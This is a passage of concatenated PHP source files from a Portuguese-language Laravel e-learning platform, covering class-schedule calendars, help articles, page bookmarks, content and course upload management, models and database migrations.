'defaultView' => 'agendaWeek', 'slotLabelFormat' => 'HH:mm', 'minTime' => '06:00:00', 'maxTime' => '24:00:00', 'slotDuration' => '01:00:00', 'locale' => 'pt-br', 'contentHeight' => 'auto', 'firstDay' => 0, // inicia na segunda ])->setCallbacks([ 'dayClick' => 'function(date){ $(".modal-body #dateCalendarInput").val( date.format("DD/MM/YYYY") ); $(".modal-body #hourInitialCalendarInput").val( date.format("HH:mm") ); $(".modal-body #hourFinalCalendarInput").val( date.add(1, "hour").format("HH:mm") ); $("#novaGrade").modal("show"); }', 'eventClick' => 'function(event) { $(".modal-body #idCalendar").val( event.id ); if(event.ranges !== undefined){ $("input#dateRangesYes").prop("checked", true); } if(event.ranges == undefined){ $("input#dateRangesNo").prop("checked", true); } $(".modal-body #editSemana").val(event.start.format("DD/MM/YYYY")); $(".modal-body #editHourInitial").val(event.start.format("HH:mm")); $(".modal-body #editHourFinal").val(event.end.format("HH:mm")); $(".modal-body #removeGrade").attr("data-id", event.id); $(".modal-body #tituloCalendar").val( event.title ); $(".modal-body #descricaoCalendar").val( event.description ); $(".modal-body #dateShowCalendar").html( event.title + " - " + event.start.format("DD/MM/YYYY [às] HH:mm") ); $("#editaGrade").modal("show"); }' ]); return $calendar; } private function checkDate($idTurma, $recorrente, $data, $horaInicial, $horaFinal, $dia) { $check = GradeAula::where(function ($query) use ($idTurma, $recorrente, $data, $horaInicial, $horaFinal, $dia) { if ($recorrente == true) { $query->where([['dia', '=', $dia], ['hora_inicial', '>=', $horaInicial], ['hora_inicial', '<=', $horaInicial]]); $query->orWhere([['dia', '=', $dia], ['hora_final', '>=', $horaFinal], ['hora_final', '<=', $horaFinal]]); } else { $query->where([['data', '=', $data], ['hora_inicial', '>=', $horaInicial], ['hora_inicial', '<=', $horaInicial]]); $query->orWhere([['data', '=', $data], ['hora_final', '>=', $horaFinal], ['hora_final', '<=', $horaFinal]]); } })->where('turma_id', $idTurma)->exists(); return $check; } public function listar($idTurma) { $calendar = $this->getCalendar($idTurma); if (Turma::find($idTurma) == null) { Redirect::back()->withErrors(['Turma não encontrada!']); } else { $turma = Turma::with('professor', 'postagens_comentarios', 'escola')->find($idTurma); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $turma->user_id != Auth::user()->id && (AlunoTurma::where([['turma_id', '=', $idTurma], ['user_id', '=', Auth::user()->id]])->first() == null)) { Session::flash('error', 'Você não faz parte desta turma!'); return redirect()->route('catalogo'); } return view('gestao.grades-aula.turmas-grade-aula')->with(compact('turma', 'calendar')); } } public function nova($idTurma, Request $request) { $this->validate($request, [ 'titulo' => 'required', 'data' => 'required', 'data_inicial' => 'required', 'data_final' => 'required' ]); // Recupera data do input e coloca no formato Y-m-d $date = Carbon::createFromFormat('d/m/Y', $request->get('data'))->format('Y-m-d'); // Recupera o dia da semana DOW, 1 (para Segunda) até 7 (para Domingo) $dow = Carbon::createFromFormat('d/m/Y', $request->get('data'))->format('N'); $startDate = $date . ' ' . $request->get('data_inicial'); $finalDate = $date . ' ' . $request->get('data_final'); //verifica se a hora final selecionada é a mesma que a hora inicial if ($request->get('data_inicial') == $request->get('data_final')) { return redirect()->back()->withErrors(['A hora final não pode ser a mesma que a hora inicial']); } // verifica se a data selecionada pode ser gravada if ($this->checkDate($idTurma, $request->get('recorrente'), $date, $request->get('data_inicial'), $request->get('data_final'), $dow)) { return redirect()->back()->withErrors(['Esta data e horário já está sendo usada']); } GradeAula::create([ 'user_id' => Auth::user()->id, 'turma_id' => $idTurma, 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'data' => $date, 'data_inicial' => $startDate, 'data_final' => $finalDate, 'hora_inicial' => $request->get('data_inicial'), 'hora_final' => $request->get('data_final'), 'recorrente' => $request->get('recorrente'), 'dia' => $dow, 'cor' => $request->get('cor') ]); return redirect()->route('gestao.grade-listar', $idTurma)->with('message', 'Grade de aula cadastrada com sucesso!'); } public function atualizar(Request $request) { $this->validate($request, ['titulo' => 'required']); //verifica se a hora final selecionada é a mesma que a hora inicial if ($request->get('data_inicial') == $request->get('data_final')) { return redirect()->back()->withErrors(['A hora final não pode ser a mesma que a hora inicial']); } $grade_aula = GradeAula::find($request->get('id')); $cor = $grade_aula->cor; if ($request->get('cor')) { $cor = $request->get('cor'); } // Recupera data do input e coloca no formato Y-m-d $date = Carbon::createFromFormat('d/m/Y', $request->get('data'))->format('Y-m-d'); // Recupera o dia da semana DOW, 1 (para Segunda) até 7 (para Domingo) $dow = Carbon::createFromFormat('d/m/Y', $request->get('data'))->format('N'); $startDate = $date . ' ' . $request->get('data_inicial'); $finalDate = $date . ' ' . $request->get('data_final'); $grade_aula->update([ 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'data' => $date, 'data_inicial' => $startDate, 'data_final' => $finalDate, 'hora_inicial' => $request->get('data_inicial'), 'hora_final' => $request->get('data_final'), 'cor' => $cor, 'recorrente' => $request->get('recorrente'), 'dia' => $dow ]); return redirect()->route('gestao.grade-listar', $request->get('idTurma'))->with('message', 'Grade de aula cadastrada com sucesso!'); } public function deletar(Request $request) { GradeAula::find($request->get('idGrade'))->delete(); return redirect()->back()->with('message', 'Registro excluído com sucesso!'); } } <file_sep>/app/Entities/BadgeUsuario/Api/Repository.php <?php namespace App\Entities\BadgeUsuario\Api; use App\BadgeUsuario; class Repository { private $badgeUsuario; public function __construct(BadgeUsuario $badgeUsuario) { $this->badgeUsuario = $badgeUsuario; } public function store($values) { return $this->badgeUsuario->create($values); } }<file_sep>/app/Aula.php <?php namespace App; use Illuminate\Database\Eloquent\Model; // use Awobaz\Compoships\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Aula extends Model { // use \Awobaz\Compoships\Compoships; //Preenchiveis protected $fillable = [ 'id', 'curso_id', 'user_id', 'titulo', 'descricao', 'duracao', 'requisito', 'requisito_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'descricao' => '', 'duracao' => 0, 'requisito' => '', 'requisito_id' => 0, ]; public static function withConteudos($aula) { return ConteudoAula:: with('conteudo') ->where([['curso_id', '=', $aula->curso_id], ['aula_id', '=', $aula->id]]) ->whereHas('conteudo') ->get() ->sortBy('ordem'); // return Conteudo:: // with('conteudo_aula') // ->whereHas('conteudo_aula', function ($query) use ($aula) { // $query->where([['curso_id', '=', $aula->curso_id], ['aula_id', '=', $aula->id]]); // }) // ->get() // ->sortBy('conteudo_aula.ordem'); } public function curso() { return $this->belongsTo('App\Curso', 'curso_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Entities/Glossario/Repository.php <?php namespace App\Entities\Glossario; class Repository { private $glossario; public function __construct(Glossario $glossario) { $this->glossario = $glossario; } public function all($word) { return $this->glossario ->where('key', $word) ->orderBy('word', 'ASC') ->get(); } public function search($word) { return $this->glossario ->where('word', 'like', '%' . $word . '%') ->orWhere('description', 'like', '%' . $word . '%') ->orderBy('word', 'ASC') ->get(); } public function store($values) { return $this->glossario->create($values); } }<file_sep>/app/PostagemEscola.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class PostagemEscola extends Model { protected $table = 'postagem_escola'; //Preenchiveis protected $fillable = [ 'id', 'escola_id', 'user_id', 'conteudo', 'arquivo', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function comentarios() { return $this->hasMany('App\ComentarioPostagemEscola', 'postagem_id'); } public function escola() { return $this->belongsTo('App\Escola', 'escola_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/database/migrations/2019_08_08_111945_create_aplicacoes_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateAplicacoesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('aplicacoes', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->string('titulo'); $table->text('descricao', 65535); $table->integer('status'); $table->integer('liberada'); $table->boolean('destaque'); $table->dateTime('data_lancamento')->nullable(); $table->string('capa'); $table->integer('categoria_id'); $table->string('nivel_ensino')->nullable(); $table->string('ano_serie')->nullable(); $table->text('tags', 65535)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('aplicacoes'); } } <file_sep>/database/migrations/2019_08_08_111945_create_conteudo_completo_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateConteudoCompletoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('conteudo_completo', function(Blueprint $table) { $table->integer('id', true); $table->integer('curso_id'); $table->integer('aula_id'); $table->integer('conteudo_id'); $table->integer('user_id'); $table->text('resposta', 65535)->nullable(); $table->text('correta', 65535)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('conteudo_completo'); } } <file_sep>/app/Http/Controllers/ArtigoAjudaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\ArtigoAjuda; use App\AvaliacaoArtigoAjuda; class ArtigoAjudaController extends Controller { public function index() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if(Input::get('pesquisa') != null) $pesquisa = Input::get('pesquisa'); if(isset($pesquisa)) { $artigos = ArtigoAjuda::with('user')->where('id', 'like', '%' . $pesquisa . '%')-> orWhere('titulo', 'like', '%' . $pesquisa . '%')-> orWhere('conteudo', 'like', '%' . $pesquisa . '%')-> paginate($amount); } else { $artigos = ArtigoAjuda::with('user'); } $artigos = $artigos->where([['status', '=', 1]]); $artigos = $artigos->paginate($amount); return view('ajuda.artigos')->with( compact('artigos', 'amount') ); } public function artigo($idArtigo) { if(ArtigoAjuda::find($idArtigo) != null) { $artigo = ArtigoAjuda::with('user', 'avaliacoes_user')->find($idArtigo); if($artigo->status != 1 && ((\Auth::user() ? \Auth::user()->permissao == "Z" : false) || (\Auth::user() ? \Auth::user()->id == $artigo->user_id : false))) { return redirect()->back()->withErrors("Artigo não encontrado!"); } $artigo->marcadores = implode(";", json_decode($artigo->marcadores)); } else { return redirect()->back()->withErrors("Artigo não encontrado!"); } return view('ajuda.artigo')->with( compact('artigo') ); } public function postAvaliarArtigo($idArtigo, Request $request) { // return response()->json(["error" => $request->all()]); if(Auth::check()) { if(ArtigoAjuda::find($idArtigo) != null) { AvaliacaoArtigoAjuda::updateOrCreate([ 'artigo_ajuda_id' => $idArtigo, 'user_id' => Auth::user()->id, ], [ 'artigo_ajuda_id' => $idArtigo, 'user_id' => Auth::user()->id, 'avaliacao' => $request->avaliacao ]); return response()->json(["success" => "Artigo avaliado com sucesso!"]); } else { return response()->json(["success" => "Artigo não encontrado!"]); } } else { return response()->json(["error" => "Para avaliar um artigo você precisa estar logado!"]); } } public function postPesquisar(Request $request) { if($request->pesquisa != null) { $artigos = ArtigoAjuda::with('user')->where('id', 'like', '%' . $request->pesquisa . '%') ->orWhere('titulo', 'like', '%' . $request->pesquisa . '%') ->orWhere('conteudo', 'like', '%' . $request->pesquisa . '%') ->get(); } else { $artigos = ArtigoAjuda::with('user')->all(); } return response()->json(["success" => "Pesquisa concluída com sucesso!", "artigos" => $artigos]); } public function getAdmin() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if(Input::get('pesquisa') != null) $pesquisa = Input::get('pesquisa'); if(isset($pesquisa)) { $artigos = ArtigoAjuda::with('user')->where('id', 'like', '%' . $pesquisa . '%')-> orWhere('titulo', 'like', '%' . $pesquisa . '%')-> orWhere('conteudo', 'like', '%' . $pesquisa . '%')-> paginate($amount); } else { $artigos = ArtigoAjuda::with('user')->paginate($amount); foreach ($artigos as $key => $artigo) { $artigo->total_negativo = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->where('avaliacao', -1)->count(); $artigo->total_neutro = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->where('avaliacao', 0)->count(); $artigo->total_positivo = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->where('avaliacao', 1)->count(); $artigo->total_avaliacoes = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->count(); // dd($artigo); } } return view('gestao.ajuda.artigos')->with( compact('artigos', 'amount') ); } public function postNovo(Request $request) { if($request->marcadores == null) { $request->marcadores = []; } else { $request->marcadores = explode(';', $request->marcadores); } // dd(gettype($request->marcadores)); $request->validate([ 'titulo' => 'required|max:255', 'conteudo' => 'required', 'categoria' => 'required', ]); ArtigoAjuda::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->titulo, 'conteudo' => $request->conteudo, 'categoria' => $request->categoria, 'marcadores' => json_encode($request->marcadores, JSON_UNESCAPED_UNICODE), 'status' => $request->status, ]); \Session::flash("success", "Artigo criado com sucesso!"); return redirect()->back(); } public function postAtualizar(Request $request) { if(ArtigoAjuda::find($request->id) != null) { $artigo = ArtigoAjuda::find($request->id); } else { return redirect()->back()->withErrors(["error" => 'Artigo não encontrado!']); } if($request->marcadores == null) { $request->marcadores = []; } else { $request->marcadores = explode(';', $request->marcadores); } $request->validate([ 'titulo' => 'required|max:255', 'conteudo' => 'required', 'categoria' => 'required', ]); $artigo->update([ 'titulo' => $request->titulo, 'conteudo' => $request->conteudo, 'categoria' => $request->categoria, 'marcadores' => json_encode($request->marcadores, JSON_UNESCAPED_UNICODE), 'status' => $request->status, ]); \Session::flash("success", "Artigo atualizado com sucesso!"); return redirect()->back(); } public function getArtigo($idArtigo) { if(ArtigoAjuda::find($idArtigo) != null) { $artigo = ArtigoAjuda::find($idArtigo); $artigo->marcadores = implode(";", json_decode($artigo->marcadores)); $artigo->total_negativo = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->where('avaliacao', -1)->count(); $artigo->total_neutro = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->where('avaliacao', 0)->count(); $artigo->total_positivo = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->where('avaliacao', 1)->count(); $artigo->total_avaliacoes = AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->count(); return response()->json(["success" => 'Artigo carregado com sucesso!', "artigo" => $artigo]); } else { return response()->json(["error" => 'Artigo não encontrado!']); } } public function getDeletarArtigo($idArtigo) { if(ArtigoAjuda::find($idArtigo) != null) { $artigo = ArtigoAjuda::find($idArtigo); AvaliacaoArtigoAjuda::where('artigo_ajuda_id', $artigo->id)->delete(); $artigo->delete(); return response()->json(["response" => true, "data" => 'Artigo deletado com sucesso!', "artigo" => $artigo, 200]); } else { return response()->json(["response" => false, "data" => 'Artigo não encontrado!', 404]); } } } <file_sep>/app/Http/Controllers/MarcadorPagina/MarcadorPaginaController.php <?php namespace App\Http\Controllers\MarcadorPagina; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Redirect; use Session; use Auth; use App\User; use App\Conteudo; use App\Entities\Anotacao\Anotacao; use App\Entities\MarcadorPagina\MarcadorPagina; class MarcadorPaginaController extends Controller { public function paginaMarcada($conteudo_id) { $paginaMarcada = null; if(MarcadorPagina::where([['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id]])->exists()) { $paginaMarcada = MarcadorPagina::where([['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id]])->latest()->first()->pagina; } return response()->json(['response' => true, "paginaMarcada" => $paginaMarcada]); } public function marcarPagina($conteudo_id, $paginaAtual) { // if(MarcadorPagina::where([['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id], ['pagina', '=', $paginaAtual]])->first() == null) // { // MarcadorPagina::create([ // 'user_id' => Auth::id(), // 'conteudo_id' => $conteudo_id, // 'pagina' => $paginaAtual, // ]); // } MarcadorPagina::updateOrCreate( [ 'user_id' => Auth::id(), 'conteudo_id' => $conteudo_id ], [ 'pagina' => $paginaAtual ]); return response()->json(['success' => 'Pagina marcada com sucesso!']); } public function deletarMarcador($conteudo_id, $pagina) { if(MarcadorPagina::where([['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id], ['pagina', '=', $pagina]])->first() != null) { MarcadorPagina::where([['user_id', '=', Auth::id()], ['conteudo_id', '=', $conteudo_id], ['pagina', '=', $pagina]])->first()->delete(); } return response()->json(['success' => 'Marcador deletado com sucesso!']); } } <file_sep>/app/Http/Controllers/User/Api/UserApiController.php <?php namespace App\Http\Controllers\User\Api; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class UserApiController extends controller { public function getInstrutor($id) { try { $user = User::where('id', $id) //->with('albuns') ->with(['albuns' => function ($query) { $query->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id', 'albums.created_at'); }]) ->select('users.id', 'users.name', 'users.email', 'users.img_perfil', 'users.descricao') ->first(); return response()->json($user); } catch (\Exception $exception) { return response()->json(['error' => 'Erro ao listar Instrutor', 'message:' => $exception->getMessage()]); } } } <file_sep>/app/Artigo.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; use Carbon\Carbon; class Artigo extends Model { //Preenchiveis protected $fillable = [ 'id', 'user_id', 'escola_id', 'titulo', 'subtitulo', 'descricao', 'conteudo', 'capa', 'status', 'categoria_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'escola_id' => 1, 'status' => 0, 'categoria_id' => 1, ]; public function categoria() { return $this->belongsTo('App\Categoria', 'categoria_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/database/migrations/2019_08_08_111945_create_anotacoes_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateAnotacoesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('anotacoes', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->integer('conteudo_id'); $table->integer('pagina'); $table->text('trecho'); $table->text('anotacao'); $table->string('pos_y', 20); $table->string('pos_x', 20); $table->integer('start'); $table->integer('end'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('anotacoes'); } } <file_sep>/app/Http/Controllers/GestaoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\DB; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\AvaliacaoInstrutor; use App\AlunoTurma; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use App\Turma; use App\User; use App\Escola; use App\Conteudo; use App\Aplicacao; use App\Categoria; use App\Curso; use App\Aula; use App\ConteudoAula; use App\Matricula; class GestaoController extends Controller { public function index() { // return redirect()->route('gestao.biblioteca'); return redirect()->route('gestao.cursos'); } public function biblioteca() { $conteudos = Conteudo::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $conteudos = Conteudo::when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }) ->get(); $aplicacoes = Aplicacao::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $aplicacoes = Aplicacao::when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }) ->get(); $videos = $conteudos->filter(function ($c) { return $c->tipo == 3; }); $slides = $conteudos->filter(function ($c) { return ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") !== false || strpos($c->conteudo, ".pptx") !== false)); }); $documentos = $conteudos->filter(function ($c) { return $c->tipo == 1 || ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") == false && strpos($c->conteudo, ".pptx") == false)); }); $apostilas = $conteudos->filter(function ($c) { return $c->tipo == 11; }); return view('gestao.biblioteca')->with(compact('conteudos', 'videos', 'slides', 'apostilas', 'documentos', 'aplicacoes')); } public function postNovoConteudo(Request $request) { // dd($request); if($request->descricao == null) { $request->descricao = ''; } if($request->obrigatorio == null) { $request->obrigatorio = 0; } elseif($request->obrigatorio == 'on') { $request->obrigatorio = 1; } if($request->tempo == null) { $request->tempo = 0; } if($request->fonte == null) { $request->fonte = ''; } if($request->autores == null) { $request->autores = ''; } switch ($request->tipo) { case 1: $conteudo = $request->conteudo; break; case 2: if(isset($request->arquivoAudio)) $request->arquivo = $request->arquivoAudio; else $request->conteudo = $request->conteudoAudio; break; case 3: if(isset($request->arquivoVideo)) $request->arquivo = $request->arquivoVideo; else $request->conteudo = $request->conteudoVideo; break; case 4: if(isset($request->arquivoSlide)) $request->arquivo = $request->arquivoSlide; else $request->conteudo = $request->conteudoSlide; break; default: $conteudo = $request->conteudo; break; } if($request->tipo == 2 || $request->tipo == 3 || $request->tipo == 4 || $request->tipo == 6) { if(isset($request->arquivo)) { $originalName = mb_strtolower( $request->arquivo->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/conteudos', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } else { $conteudo = $newFileNameArquivo; } } else { $conteudo = $request->conteudo; } } $novo_conteudo = Conteudo::create([ 'user_id' => \Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'tipo' => $request->tipo, 'conteudo' => $conteudo, 'tempo' => $request->tempo, 'apoio' => $request->apoio, 'fonte' => $request->fonte, 'autores' => $request->autores, 'status' => $request->status, ]); return Redirect::route('gestao.biblioteca')->with('message', 'Conteúdo criado com sucesso!'); } public function editarConteudo($idConteudo) { if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { $conteudo = Conteudo::where([['id', '=', $idConteudo]])->first(); if($conteudo->tipo == 2 || $conteudo->tipo == 3 || $conteudo->tipo == 4 || $conteudo->tipo == 6) { if(\Storage::disk('local')->has('uploads/conteudos/' . $conteudo->conteudo)) { $conteudo->temArquivo = true; } else { $conteudo->temArquivo = false; } } return response()->json(['success'=> 'Conteudo encontrado..', 'conteudo' => json_encode($conteudo)]); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } public function postSalvarConteudo(Request $request) { // dd($request); if(Conteudo::where([['id', '=', $request->idConteudo]])->first() != null) { $conteudoOriginal = Conteudo::where([['id', '=', $request->idConteudo]])->first(); if($request->descricao == null) { $request->descricao = ''; } if($request->obrigatorio == null) { $request->obrigatorio = 0; } elseif($request->obrigatorio == 'on') { $request->obrigatorio = 1; } if($request->tempo == null) { $request->tempo = 0; } if($request->fonte == null) { $request->fonte = ''; } if($request->autores == null) { $request->autores = ''; } switch ($request->tipo) { case 1: $conteudo = $request->conteudo; break; case 2: if(isset($request->arquivoAudio)) $request->arquivo = $request->arquivoAudio; else $request->conteudo = $request->conteudoAudio; break; case 3: if(isset($request->arquivoVideo)) $request->arquivo = $request->arquivoVideo; else $request->conteudo = $request->conteudoVideo; break; case 4: if(isset($request->arquivoSlide)) $request->arquivo = $request->arquivoSlide; else $request->conteudo = $request->conteudoSlide; break; default: $conteudo = $request->conteudo; break; } if($request->tipo == 2 || $request->tipo == 3 || $request->tipo == 4 || $request->tipo == 6) { if(isset($request->arquivo)) { if($conteudoOriginal->conteudo != null) { if(\Storage::disk('local')->has('uploads/conteudos/' . $conteudoOriginal->conteudo)) { \Storage::disk('local')->delete('uploads/conteudos/' . $conteudoOriginal->conteudo); } } $originalName = mb_strtolower( $request->arquivo->getClientOriginalName(), 'utf-8' ); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5( $request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/conteudos', $newFileNameArquivo, 'local'); if(!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } else { $conteudo = $newFileNameArquivo; } } else { if($request->conteudo != "" && $request->conteudo != null) $conteudo = $request->conteudo; else $conteudo = $conteudoOriginal->conteudo; } } $conteudoOriginal->update([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'conteudo' => $conteudo, 'fonte' => $request->fonte, 'autores' => $request->autores, 'status' => $request->status, ]); return Redirect::route('gestao.biblioteca')->with('message', 'Conteúdo atualizado com sucesso!'); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } public function postDuplicarConteudo(Request $request) { if(Conteudo::where([['id', '=', $request->idConteudo]])->first() != null) { $newConteudo = Conteudo::where([['id', '=', $request->idConteudo]])->first()->replicate(); $newConteudo->id = null; // $newConteudo->id = Conteudo::max('id') + 1; $newConteudo->save(); \Session::flash('message', 'Conteúdo duplicado com sucesso!'); return redirect()->route('gestao.biblioteca'); } else { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } } public function postExcluirConteudo($idConteudo, Request $request) { if(Conteudo::find($idConteudo) != null) { $conteudo = Conteudo::where([['id', '=', $request->idConteudo]])->first(); if($conteudo->tipo == 2 || $conteudo->tipo == 3 || $conteudo->tipo == 4 || $conteudo->tipo == 6) { if($conteudo->conteudo != null) { if(\Storage::disk('local')->has('uploads/conteudos/' . $conteudo->conteudo)) { \Storage::disk('local')->delete('uploads/conteudos/' . $conteudo->conteudo); } } } Conteudo::find($idConteudo)->delete(); // \Session::flash('message', 'Conteúdo excluído com sucesso!'); // return redirect()->route('gestao.biblioteca'); return response()->json(["success" => "Aplicação excluída com sucesso!"]); } else { // return Redirect::back()->withErrors(['Conteúdo não encontrado!']); return response()->json(["error" => "Aplicação não encontrada!"]); } } public function cursosProfessores() { $cursos = Curso::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $cursos->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $cursos->when( $is_admin == false, function ($query) { return $query->where([['tipo', '=', 2], ['escola_id', '=', Auth::user()->escola_id], ['user_id', '=', Auth::user()->id]]) ->orWhere([['tipo', '=', 2], ['user_id', '=', Auth::user()->id]]); }); $cursos->when( $is_admin == true, function ($query) { return $query->where([['tipo', '=', 2]]); }); $cursos = $cursos ->where([['status', '=', 1]]) ->orderBy('id', 'DESC') ->get(); // $cursos = $cursos->get(); return view('gestao.cursos-professores')->with(compact('cursos')); } public function cursos() { $cursos = Curso::query(); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $cursos->when($is_admin == false, function ($query) { return $query->where([['escola_id', '==', Auth::user()->escola_id], ['user_id', '=', Auth::user()->id]]) ->orWhere('user_id', '=', Auth::user()->id); }); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $cursos->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $cursos = $cursos->get(); return view('gestao.cursos')->with(compact('cursos')); } public function novoCurso() { $categorias = Categoria::all(); return view('gestao.novo-curso')->with(compact('categorias')); } public function postNovoCurso(Request $request) { if(strtoupper(Auth::user()->permissao) == "E") { $escola = Escola::where('user_id', '=', Auth::user()->id)->first(); } if(!isset($escola)) { $escola = Escola::find(1); } elseif($escola == null) { $escola = Escola::find(1); } // $escola->caracteristicas = json_decode($escola->caracteristicas); if($request->preco == null) { $request->preco = 0; } if($request->senha == null) { $request->senha = ''; } if($request->descricao_curta == null) { $request->descricao_curta = ''; } if($request->descricao == null) { $request->descricao = ''; } if(isset($request->escola_id) ? $request->escola_id == null : true) { $request->escola_id = 1; } $request->preco = str_replace(".", "", $request->preco); $request->preco = str_replace(",", ".", $request->preco); $curso = Curso::create([ 'escola_id' => $request->escola_id, //$escola->id, 'user_id' => \Auth::user()->id, 'titulo' => $request->titulo, 'descricao_curta' => $request->descricao_curta, 'descricao' => $request->descricao, 'categoria' => $request->categoria, 'tipo' => ($request->tipo === 1 || $request->tipo === 2) ? $request->tipo : 1, 'visibilidade' => $request->visibilidade, 'senha' => $request->senha, 'preco' => $request->preco, 'periodo' => $request->periodo, 'vagas' => $request->vagas, ]); if($request->capa !=null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5( $request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('cursos/capas', $newFileNameCapa, 'public_uploads'); if(!\Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa)) ) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar a capa.'); \Session::flash('popup_style', 'danger'); } else { $curso->capa = $newFileNameCapa; $curso->save(); } } if($request->rascunho == true) { return redirect()->route('gestao.cursos'); } else { return redirect()->route('gestao.curso-conteudo', ['idCurso' => $curso->id]); } } public function postSalvarCurso($idCurso, Request $request) { // dd($request); if(strtoupper(Auth::user()->permissao) == "E") { $escola = Escola::where('user_id', '=', Auth::user()->id)->first(); } if(!isset($escola)) { $escola = Escola::find(1); } elseif($escola == null) { $escola = Escola::find(1); } // $escola->caracteristicas = 